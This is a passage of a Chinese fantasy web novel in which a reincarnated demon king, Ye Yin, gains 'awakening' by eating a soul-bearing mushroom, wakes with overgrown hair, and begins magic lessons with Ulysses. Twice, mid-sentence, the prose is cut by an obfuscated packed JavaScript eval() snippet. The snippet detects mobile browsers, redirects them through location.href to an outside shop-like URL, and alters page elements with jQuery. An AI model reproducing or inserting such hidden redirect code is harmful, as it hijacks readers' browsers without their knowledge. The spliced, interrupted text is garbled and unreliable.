“……等等。” 叶隐忽然面色一肃,连带着尤利西斯的心也咯噔一下。 “……蘑菇丝好像卡在牙齿里了。” 叶隐张开嘴,用指甲掏了掏,无果,他将手指上的口水吮掉,转向一旁无言站着的银发男人,问:“尤利西斯,有牙签吗?” 尤利西斯收回点着对方额头的手,面无表情道:“没有。” “那拔一根你的头发给我吧,我勉强当牙线用用,我这头短发可没法拿来剔牙。”叶隐厚着脸皮道。 尤利西斯用了三秒钟时间收好餐具,端起来扭头就走。 叶隐看着他毫不留情远去的背影,啧啧摇头。 他瘫在椅子上,咂巴了两下嘴,回味着蘑菇汤的滋味儿——真美啊! 不过……他过去不是没吃过野生菌,可他喝过最鲜美的菌汤,也不及这碗的三分之一,尤利西斯该不会在这汤里放了些奇怪的东西吧? 怀着些许疑惑,叶隐一边用指甲剔牙,一边下意识打开系统面板扫了一眼,面色陡变。 【觉醒度:10/100】 “???” 7. 理发师是人生的向导 【觉醒度:10/100】 盯着系统面板,叶隐一阵头晕目眩,直感觉天都塌了。 他穿越将近十天,瞻前顾后、步步为营,勉勉强强涨了才3点觉醒度,结果只喝了碗蘑菇汤,就加了7点觉醒度,直接突破了两位数?? 还有王法吗?还有法律吗?! 叶隐咬牙切齿,恨不得立马冲出去找尤利西斯那厮要个说法,说好的一起对付魔王之血呢?!本以为你是靠谱的那个,怎么还带背刺队友的啊! ……但冷静下来仔细想想,尤利西斯没理由特意加速他的觉醒,他喝汤的时候还被对方拦了一下,只是对方晚了一步而已,这其中说不定有什么误会。 不过有一点可以确定——在吃饭之前,叶隐才瞟过一眼面板,那时的数据还是正常的,而桌上所有食物里,最可疑的就是蘑菇汤,这7点觉醒度多半就是那碗蘑菇汤带来的没错了。 如果此事真是尤利西斯故意为之,那叶隐可真不知道怎么办才好了,为了避免在思想上走进死胡同,他现在只能预设尤利西斯完全不知情。对方说自己吃过那种蘑菇,却不觉得它有毒,这话若不是谎言,就只能说明这蘑菇对尤利西斯本人确实没有特殊作用,至于这作用是针对叶隐,还是仅仅因为尤利西斯体质特殊才免疫,只能找到知情者再问了。 大哥关键时候掉链子,叶隐简直一点脾气都没有,幸好,他还有一位人选可以询问——比如那位魔物界的原住民,自称侍奉过多位魔王的卡拉瓦多斯,如果是它,说不定会对这种蘑菇有所了解。 “尤利西斯大人的描述不算错,这蘑菇的确是名为‘莫克西’的品种,在魔物界并不罕见,但高品质的莫克西依然供不应求。您所食的那些,应当属于上品。”卡拉瓦多斯淡定说道,“他之所以误令您吃下此物,仅仅是不了解魔物的缘故,并非有意,请不要怪罪他。” 叶隐幽幽看着它,“我怎么不知道你们私交这么好?前因后果都没说清楚,你就先替他求情?” “……明白了,您尚未接收到魔王的传承记忆,既然如此,请容吾稍作解释。” 叶隐一愣,“传承记忆?有那种东西?” 魔物没有回答他的新问题,接着方才的话题道:“前些日子,我告诉过您,魔物的灵魂乃是掠夺而来,并不天然拥有,您可还记得?” “记得。” “人类的魔法师,会通过将元素的灵魂收纳入体内的方式,来侧面壮大自己的灵魂,以提高魔力、释放更多更复杂的魔法。”卡拉瓦多斯说道,“而魔物,基于我们灵魂与□□的底层架构,生来就可以使用另一种更为快捷的方式。” “……直接将其他灵魂吃掉,是吗?”叶隐叹了口气。 他很不情愿直面这个现实,因为即使他还有人类的方法可用,魔物的特殊魔法却唯有使用这个方法才能够释放,而他还肩负着修复护城魔法的使命,这可关系到他日后的安全问题,马虎不得,因此魔物的路子他是一定要走的,也就是说,吞吃其他灵魂是他绕不开的槛……这和踩在别人的尸体上前进,似乎也没有什么两样,即使吃的不是人类的灵魂而是元素的,依然会让他产生许多不好的联想。 “没错。”卡拉瓦多斯说,“外来的灵魂会与□□排异,对于人类那样灵魂完整的生命而言,那是一种不可承受的痛苦,但魔物的灵魂本就由许多碎片组成,再多一些新的碎片也无妨,所以魔物总能够无师自通地用这个方法来变强,哪怕它们的智慧不足以理解其中的道理。” “那,这件事和那蘑菇的关系……”叶隐顿了顿,自行想通了什么,面色逐渐变得难看,“说起来,我的确有从汤里感觉到魔力,难道说……那不是元素的缘故?” 卡拉瓦多斯淡然接道:“要说魔物界与人间界环境的最大不同之处,莫过于血肉菌毯,所谓的‘魔物界特产’,和魔物一样,大都是从那上面长出来的,其性质自然也相近,譬如……从菌毯中争得营养的同时,也争得了相连的灵魂这一点。” “……” 叶隐感到一阵强烈的恶寒,他努力不去想象那菌毯的模样和来源,免得将腹中晚饭吐出去,不然就得忍饥挨饿一晚上。 他沉吟一会儿,佯装无事般道:“可是,我曾经是人类,就算我有灵魂,也应该是一个整体才对,至少我绝对没法像你一样,把心脏挖出来还能正常活动,那么我为什么能毫无负担地吞食灵魂?仅仅因为我是魔王?” “魔王之躯同时具有人类与魔物的特征,但严格来说,既非人类也非魔物。”卡拉瓦多斯认同了他的猜想,“魔王是特别的存在,因为魔王之血是这世间最霸道的存在之一,对宿主□□和灵魂的改造都非比寻常。若是寻常魔物喝了那碗蘑菇汤,仅仅只能吸收掉其中很少一部分灵魂,改变绝不会大到立竿见影,而您就能清晰感知到自己的变化,这说明您对食物的灵魂吸收率极高。” 叶隐:“……”听上去好像不算什么好事。 而且他其实也没有立刻感知到,若不是习惯性瞥了眼系统面板,他现在还被蒙在鼓里呢。 叶隐在脑中梳理完事情的前因后果,总结道:“也就是说,我在进食那种蘑菇的时候,无意中将它的灵魂也吃下了肚,导致我的灵魂力量增长,而尤利西斯的确是无意的,因为那蘑菇的效用对他一个人类没有效果,他也不知道魔物的修炼方法……此事只是一个意外。” 卡拉瓦多斯不作回应,直接过渡到了下一个话题:“您特意唤吾来,便是为了这蘑菇的缘故?” 在叫来卡拉瓦多斯之前,叶隐就已经决定好什么能告诉对方、什么不能了。他对卡拉瓦多斯的知识有所求,自然不能凡事都藏着掖着,闻言直接坦然道:“不错,我突然感觉自己离彻底觉醒又近了一步,想来是那蘑菇的作用,便找你来问。” 说完,他沉默地盯着单膝跪在跟前的魔物,想看看对方对此持何等态度。 若不看那狰狞恐怖的外表,仅凭借谈吐与逻辑判断,卡拉瓦多斯的智慧与人性甚至超越很多人类,这让叶隐在很多时候感觉它甚至比尤利西斯还好沟通,加上它是叶隐目前唯一能自由接触到的魔物,也是唯一一个勉强能使唤的手下,他必须仔细确认它的立场。 ——卡拉瓦多斯,它究竟是希望叶隐尽早觉醒,好让正牌魔王回归王座;还是和前魔王、尤利西斯站在同一立场;亦或是只忠诚于当下的魔王,对其说一不二,魔王的意愿就是它的一切?这很重要。 卡拉瓦多斯继续恭顺地垂着头,说道:“请先容吾提问,您打算将此事告知尤利西斯大人吗?” “当然要说了,不然他现在还被蒙在鼓里呢。”叶隐幽幽道,“我可不想再一无所觉地就吃到这种莫名其妙的东西。” “的确,您贵为魔王,对入口的灵魂理应慎重。”卡拉瓦多斯平静道,“虽然那只是食物,但终归是您灵魂的养料,若质量不高,对您的成长有害无利。” 叶隐心中一凛,“有什么害?” “吸收灵魂的过程,会将灵魂中铭刻的印记——也就是记忆,也随之吸收。在您的意识陷入沉睡的时候,这些记忆就会被释放出来,这个过程本身是无害的,仅仅是吸收灵魂的副作用,但记忆所记录的东西,可能会对您造成影响。” 记忆……叶隐琢磨了一下,有点头皮发麻。 意思是他会看到其他…人类的记忆?希望不要是什么奇怪的东西…… “另外,灵魂力量的快速增长,大概会为您的身体带来一些不可预知的变化。”卡拉瓦多斯接着说道,“魔王之血的改造没有固定的流程,历代魔王在成长中的改变不一而足,所以,无论接下来发生什么,都请不要惊慌。万一您感到现状无法掌控,随时可以呼唤吾。” 叶隐:“……”你越是这样说,我反而越慌啊。 到底会发生什么?应该不至于一觉醒来变得像你的模样似的吧? “我明白了,你的说明很有用。”叶隐保持着镇定的神情,“你可以回去了,早些休息。” 送走卡拉瓦多斯后,叶隐长出一口气,回到沙发上抱着手臂苦恼。 卡拉瓦多斯明显看出了他的意图,却完全不急于向他展示自己的立场,对这触手可及的表忠心的机会视若罔闻,仿佛它并不属于叶隐预想的三种派系中的任何一种,而只是单纯地为“叶隐”这个人着想而已……这实在很古怪。 是因为自己现在还太弱小,没有费力讨好的价值吗?以卡拉瓦多斯的智慧,应该不至于这么肤浅。 那么,是因为它淡泊名利,只想做魔王城的管家,所以才保持着点到即止的态度,既不疏离,也不亲近? 有这种可能性,但叶隐总觉得哪里不对,因为卡拉瓦多斯知道太多魔王之血的细节了,它至少取得了一任甚至数任魔王的信任,否则没可能知道那么多。和它相比,尤利西斯才是真的一问三不知,他因为对方的魔物身份而排斥它参与进来属实是一步臭棋……咳,扯远了。 总之,叶隐的想法是,卡拉瓦多斯没有理由只是为了他本人而对他好,但事实似乎就是如此——它甚至不介意用“无法掌控现状”这种说法来形容一个魔王,如果叶隐已经彻底觉醒为一个暴君,很有可能为了这句话就轻易把它捏碎——这反倒让对方的立场变得更加扑朔迷离。 虽然和预想中不一样,但结果也还算不错,叶隐思考许久无果,索性放过自己,准备洗漱完上床睡觉。 他躺在床上,望着高高的天花板发了会儿呆:他是不是忘记了什么来着? ……对了,忘记问卡拉瓦多斯关于“传承记忆”的事了……啧。 叶隐烦躁地翻了个身,在一团乱麻中昏昏沉沉地睡去。 入睡前,叶隐就做好了看到他人记忆的准备,而当晚他也的确做了梦……准确来说,是不少梦。只是,等他醒来之后,梦境中的内容却没有留下几分,他几乎想不起来自己都梦到了什么。 稍加思索过后,叶隐明白了,这大抵是因为蘑菇中蕴含的灵魂并非一体的缘故,所以他看到的记忆也并不来自同一个人,而是许多个人。 许多份记忆被切割成无数份,就像每一张画面都自说自话的视频,彼此之间毫无关联,即使看过,也是高速掠过,自然不会留下什么印象。 然而,叶隐侥幸的心情,却在彻底醒过来之后消失得无影无踪。 他站在镜子前方,看着镜中那个似曾相识、但是长发及肩的帅哥,陷入沉思,与此同时,镜中人也和他同样摆出了沉思的表情。 “什么情况……”叶隐自言自语着,俯身将脸贴近镜子,用力揪了脸颊一把,“脸没变,哪哪都没变,这就是我的身体……但这头发……?” 他撩起那在一夜之间长长了将近二十公分的发丝,手指插入发根捋了一遍又一遍,终于确认这不是假发,就是他自己的头发无误,而且不知何时长得又黑又粗又密,完全不复先前发梢干枯发黄的模样,去拍洗发水广告都不需要加特效的。 不必说了,这绝对是魔王之血的作用!那玩意最开始只是让他视力变好、拥有了夜视能力,后来逐步增强了他的体质,这两项倒是都挺有用的,而且都比较隐蔽,至少尤利西斯似乎没有察觉到他的变化,但他完全没想到,自己觉醒度突破10后,第一个变化的居然是头发……头发长长有屁用啊!打架的时候还容易被抓住! 短暂惊愕过后,叶隐焦躁地抓着头发,惴惴不安。他的头发长了这么多,不剪掉绝对会被尤利西斯发现异常,卧室里虽然有剪子,可他给自己理发从来都是用剃的,以他的手艺,就算剪短,形状和之前也绝对不同,很难不被察觉。 他不知道尤利西斯对于自己觉醒度上升会有什么反应——虽然这有一大半都是对方那晚蘑菇汤的锅,但他不能指望跟一个可以轻易杀死自己的人讲道理,万一尤利西斯觉得他觉醒进度过快,难以控制,不等他解释就二话不说把他砍了,他哭都没地方哭…… 总之,不能就这样去见尤利西斯,必须做点什么! 对方随时可能进屋送早餐,叶隐不敢耽搁时间,他迅速从抽屉里掏出剪刀,将垃圾桶放在镜子前,蹲在垃圾桶旁,对着镜中的自己磨刀霍霍。 咔嚓咔嚓! 几剪子下去,一绺发丝落在垃圾桶中。 下手的一刹那,叶隐莫名其妙地打了个哆嗦,他的头发似乎变得有些奇怪,下剪的瞬间竟然令人不忍,他按捺着那股冲动狠心剪发,连剪几下后,手居然发起抖来,又下了好几刀,才把最后一缕长发剪掉。 看着镜中的自己逐渐变回熟悉的模样,叶隐稍微舒了口气。 不过,光是这样还不行,他得把头发剪到比昨天还短的程度,那样就可以说他只是单纯想剪发,而不是出于其他原因……但他的手抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091997|195463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得厉害,甚至无力握住剪子,而且还有些头晕目眩,难道是他没吃早餐就蹲了太久,导致低血糖了? 就在叶隐纠结是要继续剪,还是要缓缓免得暴毙的时候,屋外响起了“咚咚”的敲门声,吓得他手一抖,剪子直接在耳廓上划了一刀。 “是我,尤利西斯,来送早餐。”屋外的人说道,“可以进来吗?” “等等,等一会儿!马上……” 叶隐有点小慌,来不及收拾出血的耳朵,手忙脚乱地又下了几剪子,直接把自己剪成了个狗啃发型,他自己看着镜子都有些不忍直视,但好歹是够短了。 他收好剪刀和垃圾桶,心惊胆战地开了门,屋外端着餐盘的尤利西斯看到他这副狼狈的模样,愣了一下。 叶隐不安地看着尤利西斯进屋,对方放下早餐和水,然后才转身问他:“你给自己剪头发?为什么剪成这样?好难看。” 叶隐:“……”最后那句是多余的! 不过……好吧,以尤利西斯那头长发及腰却依然柔顺闪光的发质,还有罕见的发色,即使是被魔王之血强化过的叶隐也依然羡慕不来,加上对方常扎的高马尾虽然简单,却实打实地衬出了他干练锋利的气质,他确实有资格评价叶隐的发型。 “我感觉头发长长了一点,想剪短。”叶隐半真半假地说道。假话里掺点真话,往往更容易让人相信。 “不想留长发的话,的确需要剪剪。” 尤利西斯说着,走到叶隐跟前,心虚的叶隐一边想着“怎么就到‘不想留长发’的程度了?”,一边扭开头不敢和他对上视线。 “但你剪发的技术太烂了,以后还是别自己剪了。”尤利西斯的语气怪认真的。 “这个,一回生、二回熟么,技术都是练出来的……呃!” 叶隐正尴尬地反驳着,尤利西斯忽然抬手摸上他的耳朵,把他吓得呼吸停止了一瞬,差点以为对方是发现了什么,要让他脑袋搬家——但尤利西斯只是摸了摸叶隐的耳廓,然后就收回了手。 叶隐感到耳边传来一股暖流,又看到尤利西斯手指上残留的血珠才反应过来,自己方才匆忙之中割伤了耳朵,还没来得及包扎,他抬手摸摸耳朵,却没有摸到伤口,也完全不疼,惊讶道:“你用了神术?就为了这点伤口?” 尤利西斯没有立刻回应,他四处看了看,大概是没找到合适的抹布来擦手上的血,便直接进厕所洗了洗手,回到餐桌后才道:“顺手为之罢了,自然愈合总归需要时间……来吃饭吧,吃完我帮你再剪一下头发。” 叶隐斜了他一眼,有些不太相信这事儿就这么过去了,但尤利西斯一副若无其事的样子,他也不好再问什么,不然反而显得自己奇怪。 吃完早饭,尤利西斯依言拿来剪子,让叶隐在镜子前坐下,给他兜了块布,干净利落地开始剪头,技术怎样先不谈,总之动作是挺利索的,发茬如雪花般纷纷下落,只是那种剪发过后的怪异的虚弱感依然在叶隐脑中挥之不去。 “……等等,尤利西斯,好像有点太短了。”见对方埋头剪发,叶隐不得不出声提醒,“还是稍微留点儿吧,别给我整成寸头了。” 尤利西斯终于暂时停下动作,语气似乎有些虚,“唔,你想要稍微长一点的吗?……但我已经剪过头了。” 叶隐心中升起一股不妙的预感,他侧过身子看向镜中自己的后脑勺,发现旁边都还没剪,唯独那块剪得太过,都要往里凹了,一时嘴角抽搐,“你、你到底会不会理发?” “不会。”尤利西斯一脸平静地承认了,“我只会在头发长到腰以下的时候给它来一剑……不然你以为我为什么要留长发?” 原来你那头长发是这么来的?! 幻想破灭的叶隐如遭雷击,看这厮那副无辜的表情就来气,但现在的条件也不允许他对托尼老师挑三拣四,只好有气无力道:“我看你那么自信地说要给我剪头,还以为你很有经验呢……这不是和我半斤八两吗?!” 尤利西斯沉吟几秒,试探道:“用剑而不是剪刀的话,应该会更轻松一点,比起剪刀,我还是更擅长用剑。” 叶隐猛地站起身来,把这个顶着一脸真诚说出恐怖话语的男人向后推搡,嚷道:“滚滚滚!你滚远点,我自己剪!” 他拿起剪刀躲到了厕所里去,十几分钟后再出来时,满头黑发比起寸头也长不了多少,毕竟不剪这么短的话,后脑勺就真凹进去了。叶隐以前顶多自己刮过胡子,给自己理发还是头一遭,事实证明,有些钱还是该给别人赚。 见叶隐一脸灰败,在外头等着的尤利西斯安慰道:“剪坏了也没事,明天大概还会长长的,还有很多练习的机会。” 叶隐眉头一跳,“明天还会长……?”他想到了什么,呼吸骤然一窒,下意识道:“你…难道已经和卡拉瓦多斯聊过了?” 尤利西斯坦然道:“啊,它昨晚来找我,说那种蘑菇会加速你觉醒,让你的身体产生异变,你的头发应该就是因为这个才会长长的吧?” “……” 叶隐眼前一黑,“你、你都知道了,怎么不早点告诉我?……不对,你怎么知道我头发长长了?我剪完头才给你开的门啊!” 尤利西斯的眼神游移了一瞬间,“……那家伙找过我之后,我有点担心你,昨晚你睡觉的时候进来找过你一次,那时候就看到了。” “?” 靠!你个浓眉大眼的家伙,还带夜袭的?! “昨晚你睡得很不安稳的样子,今天的状态没问题吗?”尤利西斯又道,“不舒服的话,可以休息一天,观察一下身体变化,明天再安排魔法教学。” 不得不说,他虽然一如既往的面瘫,语气也完全听不出担忧,但态度足可谓温和又真诚,和叶隐幻想中的反应截然不同——只是这不影响叶隐的脸颊变得火烧火燎。 他龇牙咧嘴,一字一句地道:“以、后、不、要、随、便、进、我、房、间!” 尤利西斯没有答应,也不去看叶隐,因为现在是非常时期,为了保护叶隐的安全,他必须无所不用其极。不能进叶隐的房间,很多事他就无法第一时间得知,这损失比拒绝承诺的损失可大多了——当然,他不会傻到直接拒绝的,保持沉默足以。 叶隐看着尤利西斯冷漠的侧脸,没好气道:“我的状态一点问题都没有!魔法课继续。” “哦。” 8. 学魔法二日目 忙活半天之后,两人还是如约来到魔法塔中,准备完成昨天定下的学习魔法的章程。 尤利西斯让叶隐在底下等待,自己上楼去取了一只脸大的水晶球下来,那枚水晶球在他掌心闪闪发光,令叶隐颇为惊奇。在叶隐的视野中,水晶球的光不仅仅是光,更是满含着魔力的光,魔力之浓郁让人挪不开眼。 “这就是你说过的、魔法塔的核心?”叶隐好奇地想要触碰它,被尤利西斯避了开。 “是,不过你先别摸。”尤利西斯淡淡道,“你进行过不少次冥想,体内应该有一些魔力了,但你还需要学习控制魔力的方法,不然在接触到比体内魔力更庞大的魔力源头时,极其容易失控。” 叶隐挠了挠头,“你怎么知道我经常冥想?” “这个。”尤利西斯指了指自己的喉结,叶隐会意,低头看向自己的脖子,对方送给他的项坠护身符一直戴在那里上,戴上去就没有再取下来过。 尤利西斯道:“储存在魔法师体内的魔力,性质远远没有自由流动的魔力活泼,离得不足够近就很难感觉到。” “原来如此。”叶隐恍然,“所以我才感觉不到你体内的魔力,我还以为是我观察能力太差呢。” 尤利西斯摇了摇头,“实际上我也感觉不到你的,毕竟我在魔法领域也只是个半吊子,不过直接肌肤相贴就另当别论了。” 叶隐的神情变得有些怪异,“肌肤相贴……?” 尤利西斯不明所以地看了他一眼,解释道:“那个护身符,是个魔法道具,它可以在一定程度上感应你的身体状态,尤其是魔力储量,只要把它戴在你的脖子上,相当于在你体内魔力的必经之路上放置了一个检测器,而与它绑定的施术者,也就是我,则能够远程接收它的数据,以此反过来推算,就能大概知道你每天冥想的时长。” “这样啊……”叶隐没来由地感到尴尬。 如果说他努力锻炼体能,是怀了两分在尤利西斯面前争取好印象的目的,那他每晚冥想的目的则是很纯粹的、单纯只是希望自己能释放强力的魔法而已。自从听尤利西斯亲口说他自己魔法造诣不高后,叶隐就没太指望能从他那里得到指点了,所以也没打算把自己的学习进度向对方汇报,如今知道对方其实一直在主动关注这一点,他的心情有些说不上来的复杂。 “不得不说,白天那样锻炼之后,回去还有精力冥想,你的意志力很不错,若是能一直坚持下去,即使不考虑魔王的身份,你也能变得很强。”尤利西斯认真地说道,“尤其是在这冥想极其困难的魔物界,连在这种地方都能汲取到魔力的话,在人间界一定能如鱼得水。” 叶隐傻笑着刮了刮脸颊,满脸写着“我没有那么好”,但很快他神情一肃,皱眉道:“等等,你说在魔物界冥想很困难……” 他冥想的确很困难啊!尤其是第一次,跟书上说的完全不一样!原来那不是他自己的原因,而是环境的原因吗?! “魔物界的环境中,天然元素非常稀缺,它们显而易见地并不喜欢魔物界。”尤利西斯回道,“再说,这里的光照、气味、气场等种种因素,都会对人类的意识产生压制力,至于尚未完全觉醒的你,会不会受影响,我就不确定了。” “总之,人类魔法师在魔物界进行冥想,就如同在沼泽中跋涉,千辛万苦才能找到一簇可以沟通的元素,这是导致他们在魔物界施法极为困难的主要因素,也是人类始终难以对魔物展开反攻、夺回被占领和污染的土地的主要原因之一。” 叶隐的嘴角在抽搐,元素们哪儿是不喜欢魔物界啊!怕不是都被吃光了吧?!他之前居然一直没有把这两件事联系起来,也是有够迟钝的! 魔物为了壮大自己的灵魂而把元素吃掉,而环境中的元素越少,就越难用人类的方法与元素沟通来获取魔力,就只能像魔物那样吃元素,或是吃吸收人类的血肉长大,从而含有人类灵魂碎片的“制品”……这不是死循环吗?! “我知道了……”叶隐的声音听上去有气无力,“这个话题先放一边,能正式开始课程了吗?” 尤利西斯有些茫然,他不太明白,自己明明尽力夸了叶隐,对方一开始也的确挺开心的,情绪却在忽然之间急转直下,为什么?这个人在想些什么? “马上就正式开始。”他回道。 尤利西斯的目光转移到掌中托着的水晶球上,水晶球随着魔力的注入而散发微光,并微微悬浮起来。趁着叶隐的注意力被水晶球吸引,他说明道:“这个水晶球,是笼罩整座魔王城的魔法结界的中枢,同时也是控制魔法塔的中枢,只要用魔力微调其中的术式,就可以影响与它相连的各个魔法。” 叶隐看上去恢复了平静,说道:“可你之前说,魔王城的结界是魔物专有的魔法,你无法使用。” “是的,我不仅无法理解结界魔法的术式,那个术式本身也根本不会被我的魔力所影响,所以我是无能为力的。”尤利西斯坦然道,“不过,这座魔法塔本身所使用的魔法包罗万象,从浅到深都有,也正是由于它同时含有人类和魔物的魔法,我的魔力便能成为推动一部分术式改变的钥匙。” 叶隐还是没明白这和教学有什么关系,“所以?” “先给你演示一下吧。” 说着,尤利西斯微微收回置于水晶球下方的手掌,水晶球已经完全悬浮在空中,没有因此而下落,星星点点的光芒洒落在石砖地面上,令人目眩神迷。随后,他将手掌翻过来,轻点球体光滑的表面,指尖在极小的范围内挪动、摩擦,像在球体表面涂画着什么。 随着尤利西斯的动作,球体散发的光芒愈发明亮,浓烈的魔力波动馋得叶隐不停吞咽口水,被魔王之血改造过的瞳孔在强光下缩成一条细缝,仍能勉强视物,让他清晰看到,整个魔法塔底楼的环境正在以水晶球为中心改变,并迅速扩散开去—— 地面和墙壁都变成了黑灰色,是和石头完全不同的磨砂材质,而且不仅是视觉效果如此,就连脚下原本货真价实的砖缝也消失得无影无踪了,踩上去能清晰感觉到物理意义上的变化,这让叶隐瞪大了眼睛。 “真的改变了吗,建筑的材质?”叶隐难以置信,“这种魔法可以如此简单地就施展出来吗?什么材质都可以吗?” “你的思维转得很快呢,你确实适合学习魔法。”尤利西斯看了他一眼,暂时放下点着水晶球的手,此时球体的光芒已经黯淡了下去,“当然,是有很大限制的,材质种类也并不是什么都可以,不然只要把一座几百吨重的房子转化为黄金,就足以冲垮整个人间界的经济了。” “也是……”叶隐莫名松了口气。 他说到底还不是一个真正的法师,并非魔法体系的受益者,也还没能摆脱在原本世界的小市民心态。如果魔法真的有那么万能,轻易就能打破他认知中最为基本的科学定律,他的世界观和价值观才是崩溃得彻底。 强力的魔法不能轻易得来,有些事情无论如何都做不到——至少用轻松的方式是做不到的,这才符合基本的认知嘛。 “那,为什么要把石头更换成这种材质?这是什么?”叶隐用鞋底磨了磨地面,体会着这种材质的特别之处,“……摩擦力更强了,之前要是在这种地面上跑步的话,绝对比在石砖上跑要舒服很多,之前为什么不用呢?” “这也是一种岩石,不过硬度和韧性都更为出色,譬如帝国的某些金库,就会使用这种建材。”尤利西斯说,“直到前天,我才把这部分的术式琢磨透彻,昨天才第一次尝试施展,今天算是第一次正式使用吧。” 叶隐瞥了尤利西斯一眼,“无论做什么事你都要自己先尝试一次吗?真是谨慎呢。” “这是在嘲讽我吗?”尤利西斯难得露出无奈之色,“蘑菇汤的事情是我不好,我忽略了魔王的身体构造与人类乃至魔物都不同这一点,我会尽力避免类似的事情再发生的。” “没在嘲讽你,我是认真的。”叶隐纠正道,“这种事情确实没人能预料到,怪在你身上就太不合情理了,除此以外的事,你都做得挺好的。” 尤利西斯没有说话,他盯着叶隐的眼睛看了一会儿,像是在确认这番话是真心还是托辞,但他还没看出个所以然,就下意识挪开了视线,随后感到无论是真心是还是托辞都无关紧要,他不能一直盯着叶隐看才是最重要的——至于为何重要,他也说不清。 尤利西斯重新将手放在水晶球上,自顾自地拨弄起来,周围的地板与墙壁上多了一层蓝光闪烁的保护层,随即隐匿下去。 “材质变更与防护魔法,两手准备,这样即使在塔内部施法,塔本身也几乎不会被影响。”他说,“接下来,就先试试看这个防护魔法的威能吧。” 说着,他抬起手掌,不过眨眼间,一枚拳头大的火球便在掌心汇聚成型,被他以投掷手榴弹的姿势向墙边轻轻掷出。 叶隐张了张嘴,下意识往尤利西斯身后藏,但他的动作还是慢了一步,火球并未像手榴弹那样弹地滚动,而是在接触地面的瞬间就爆炸开来,热浪“倏”地糊了叶隐一脸。 “噗、咳咳……” 爆炸的气浪平息后,叶隐挥手打散面前的烟尘,看着毫发无损的建筑咂舌,这防护魔法确实不是盖的。 不过,更令他惊讶的还是尤利西斯,随手一颗火球就有和手榴弹相似的威力,他的魔法造诣真的像他自谦的那样很撇吗?那么那些真正的大魔法师又有多强?一人成军? “大概了解了,这个防护魔法相当坚硬,看来我们可以放心在塔里施法。”尤利西斯说着,又在空中画出一个带着绿光的符号,随后室内刮起一阵风,将下沉的烟云刮散开去。 做完准备工作后,他开始了正式的讲解:“我刚才释放的火球术,是最常见的杀伤魔法之一,不过火元素过于活泼,并非新手法师最适合的练习对象,你还是先试着凝聚一颗水球吧。” “该怎么做?”叶隐问道,“我有尝试把少量的元素收入体内,也能做到指挥它们在身体各区域转移,但它们的种类很单一。要是体内没有火元素的话,就无法释放火球吗?” “不,我之前说过,元素的身躯仅仅是它们寄宿灵魂的躯壳而已,所以元素的类型并不是固定的,它们甚至可以直接从法师体内汲取生物能,将之转化为魔力,而魔力具体以什么形式凝结,完全取决于法师的个人意愿。” “那,把这个过程直接告知它们,是不是有点复杂?它们能听懂吗?”感觉像教小学生高数一样…… 叶隐随口说着,脑中想象起那样的画面,然后噗嗤一声笑了出来,但他还没笑两声,就被一颗从天而降的水球劈头盖脸地打湿了脑袋。 “……” 他静立在原地,看着沉默的尤利西斯,差点以为是对方在恶作剧,但他从头到尾没动过半根手指,那…… 叶隐抬起左手,这次他专心致志,故而细致地感知到了体内魔力的流动。随着他心念一动,一颗指甲盖大的水珠在空中逐渐成型,在重力和表面张力的拉扯下不断波动,分离又汇聚,像小学的第一堂科学课一样令叶隐感到神奇——虽然只是一颗水珠,却让他感受到了许久未有的感动,是为什么呢? “……厉害,如此轻易就能将想象化为现实,你的确是学魔法的好苗子。”尤利西斯的眼神中带着惊奇,旋即恢复严肃,“不过,这也意味着你必须即刻加强对自己魔力的控制,不然,若是你在无意中施法,失控的魔力会在你毫无准备的时候显现,比如半夜打湿你的床单,甚至在你的身边爆炸,那相当危险!你必须控制好自己的想象力!” 爆、爆炸! 叶隐一个哆嗦,方才火球爆炸的场面在他脑中闪回,漂浮的水珠失去支撑,“啪嗒”一下掉进了他的掌心,再无其形。 他将湿润的手掌在裤腿上揩了一把,叹气道:“好啦,我会注意。” 尤利西斯说得吓人,不过叶隐还处于施展出了真正魔法的兴奋中,很快就把尤利西斯的告诫扔到了一边,拉着对方连连问道:“下一个呢?我现在还能做些什么?火球什么的其实我不感兴趣啦,有没有能让植物生长的魔法啊?” “植物?”尤利西斯愣了一下,“……你是说小麦之类的?” “是啊是啊。”叶隐忙不迭地点头,“要是有魔法能催生农作物的话,只要搞到种子就可以量产了吧?种在花盆里、放在室内,也就不用担心会被魔物发现了!盆栽缺乏的营养物质也应该可以用魔力来补足,就像具现化水滴那样……” 他忽然一顿,摸了摸下巴,自言自语道:“等等, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091998|195463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔力可以直接制造营养物质的话,应该也可以在体内直接制造糖类?……不过,让元素生产魔力,本身就需要消耗法师的能量啊,如果入不敷出就不合算了,一会儿得去书架上找找有没有相关的数据……” 尤利西斯一针见血道:“你真的很喜欢吃。” “那怎么了!民以食为天好吗?!”叶隐叉起腰来,不以为耻,反以为豪,“再说,你不是以要种地为理由要求我必须修好结界么?要是能拿出替代方案的话,就算我修不好结界,也不耽误我们过日子,这不是很好吗?” 尤利西斯微微摇头,“丰收魔法是存在的,但极难学习和掌握,其中原理我不是很清楚,但即使在帝国皇家研究院中,掌握这种魔法的人也不超过两手之数,无一不是在帝国农业体系中举足轻重的人物。而且,这种魔法并不是一成不变的,彼此差异越是大的作物,就越是要根据其特性调整术式,否则只会事倍功半。” 叶隐稍稍有些失落,“那就只有放弃了?”他叹了口气,“唉,还以为终于可以吃水果吃到饱了呢。” 